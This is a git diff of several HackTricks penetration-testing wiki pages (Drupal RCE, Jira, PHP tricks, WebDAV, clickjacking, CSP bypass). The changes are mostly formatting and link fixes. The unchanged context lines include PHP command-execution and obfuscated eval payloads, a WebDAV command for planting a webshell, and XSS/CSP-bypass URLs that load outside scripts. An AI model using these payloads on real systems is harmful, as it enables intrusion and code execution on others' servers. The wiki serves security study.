+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -83,7 +83,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

network-services-pentesting/pentesting-web/drupal/drupal-rce.md

@@ -9,7 +9,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -107,9 +107,9 @@ Before activation:
 
 After activation:
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Part 2 (leveraging feature _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
 
@@ -134,7 +134,7 @@ allow_insecure_uploads: false
 
 ```
 
-<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 To:
 
@@ -300,7 +300,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

network-services-pentesting/pentesting-web/jira.md

@@ -9,13 +9,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -79,7 +79,7 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
 ## Automated enumeration
 
 * [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
-* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
+* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira_scan)
 
 ## Atlasian Plugins
 
@@ -135,7 +135,7 @@ These are some of the actions a malicious plugin could perform:
 
 
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -150,7 +150,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

network-services-pentesting/pentesting-web/php-tricks-esp/README.md

@@ -9,13 +9,13 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
 
 **Get a hacker's perspective on your web apps, network, and cloud**
 
@@ -245,10 +245,10 @@ Check ther page:
 ## Code execution
 
 **system("ls");**\
-**\`ls\`;**\
+&#xNAN;**\`ls\`;**\
 **shell\_exec("ls");**
 
-[Check this for more useful PHP functions](php-useful-functions-disable\_functions-open\_basedir-bypass/)
+[Check this for more useful PHP functions](php-useful-functions-disable_functions-open_basedir-bypass/)
 
 ### **RCE via** **preg\_replace()**
 
@@ -328,7 +328,7 @@ Different .htaccess shells can be found [here](https://github.com/wireghoul/htsh
 
 If you find a vulnerability that allows you to **modify env variables in PHP** (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get **RCE**.
 
-* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): This env variable allows you load arbitrary libraries when executing other binaries (although in this case it might not work).
+* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld_preload-and-ld_library_path): This env variable allows you load arbitrary libraries when executing other binaries (although in this case it might not work).
 * **`PHPRC`** : Instructs PHP on **where to locate its configuration file**, usually called `php.ini`. If you can upload your own config file, then, use `PHPRC` to point PHP at it. Add an **`auto_prepend_file`** entry specifying a second uploaded file. This second file contains normal **PHP code, which is then executed** by the PHP runtime before any other code.
   1. Upload a PHP file containing our shellcode
   2. Upload a second file, containing an **`auto_prepend_file`** directive instructing the PHP preprocessor to execute the file we uploaded in step 1
@@ -418,7 +418,7 @@ echo "$x ${Da}"; //Da Drums
 If in a page you can **create a new object of an arbitrary class** you might be able to obtain RCE, check the following page to learn how:
 
 {% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
-[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
+[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
 {% endcontent-ref %}
 
 ## Execute PHP without letters
@@ -460,7 +460,7 @@ Content-Type: application/x-www-form-urlencoded
 comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
 ```
 
-For a more in depth explanation check [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
+For a more in depth explanation check [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg_match)
 
 ### XOR Shellcode (inside eval)
 
@@ -524,7 +524,7 @@ $_=$$____;
 $___($_[_]); // ASSERT($_POST[_]);
 ```
 
-<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
 
 **Get a hacker's perspective on your web apps, network, and cloud**
 
@@ -541,7 +541,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

network-services-pentesting/pentesting-web/put-method-webdav.md

@@ -3,26 +3,25 @@
 <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm_source=hacktricks\&utm_medium=text\&utm_campaign=ppc\&utm_content=put-method-webdav) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
-{% endhint %}
 
 When dealing with a **HTTP Server with WebDav** enabled, it's possible to **manipulate files** if you have the right **credentials**, usually verified through **HTTP Basic Authentication**. Gaining control over such a server often involves the **upload and execution of a webshell**.
 
@@ -72,7 +71,7 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
 <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm_source=hacktricks\&utm_medium=text\&utm_campaign=ppc\&utm_content=put-method-webdav) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
@@ -88,7 +87,7 @@ Then you can **upload** your shell as a ".**txt" file** and **copy/move it to a
 ## Post credentials
 
 If the Webdav was using an Apache server you should look at configured sites in Apache. Commonly:\
-_**/etc/apache2/sites-enabled/000-default**_
+&#xNAN;_**/etc/apache2/sites-enabled/000-default**_
 
 Inside it you could find something like:
 
@@ -126,27 +125,26 @@ wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
 ## References
 
 * [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
+
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
-</details>
-{% endhint %}
 </details>
 {% endhint %}
 
 <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm_source=hacktricks\&utm_medium=text\&utm_campaign=ppc\&utm_content=put-method-webdav) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}

pentesting-web/clickjacking.md

@@ -1,15 +1,15 @@
 # Clickjacking
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -18,7 +18,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm_source=hacktricks\&utm_medium=text\&utm_campaign=ppc\&utm_term=trickest\&utm_content=clickjacking) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
@@ -118,7 +118,7 @@ background: #F00;
 
 If you have identified an **XSS attack that requires a user to click** on some element to **trigger** the XSS and the page is **vulnerable to clickjacking**, you could abuse it to trick the user into clicking the button/link.\
 Example:\
-_You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters._\
+&#xNAN;_&#x59;ou found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters._\
 \_\_An attacker could prepare a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submitted** and the values are modified, the **user will execute the XSS**.
 
 ## Strategies to Mitigate Clickjacking
@@ -217,26 +217,26 @@ if (top !== self) {
 ## References
 
 * [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
-* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
+* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
 
 <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm_source=hacktricks\&utm_medium=text\&utm_campaign=ppc\&utm_term=trickest\&utm_content=clickjacking) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

pentesting-web/content-security-policy-csp-bypass/README.md

@@ -1,21 +1,21 @@
 # Content Security Policy (CSP) Bypass
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -297,7 +297,7 @@ Angular XSS from a class name:
 
 #### Abusing google recaptcha JS code
 
-According to [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) you can abuse [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) inside a CSP to execute arbitrary JS code bypassing the CSP:
+According to [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) you can abuse [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) inside a CSP to execute arbitrary JS code bypassing the CSP:
 
 ```html
 <div
@@ -470,7 +470,7 @@ This snippet highlights the usage of the `ng-focus` directive to trigger the eve
 Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
 ```
 
-A CSP policy that whitelists domains for script loading in an Angular JS application can be bypassed through the invocation of callback functions and certain vulnerable classes. Further information on this technique can be found in a detailed guide available on this [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
+A CSP policy that whitelists domains for script loading in an Angular JS application can be bypassed through the invocation of callback functions and certain vulnerable classes. Further information on this technique can be found in a detailed guide available on this [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
 
 Working payloads:
 
@@ -560,12 +560,12 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
 ```
 
 Because this directive will **overwrite existing script-src directives**.\
-You can find an example here: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
+You can find an example here: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
 
 #### Edge
 
 In Edge is much simpler. If you can add in the CSP just this: **`;_`** **Edge** would **drop** the entire **policy**.\
-Example: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
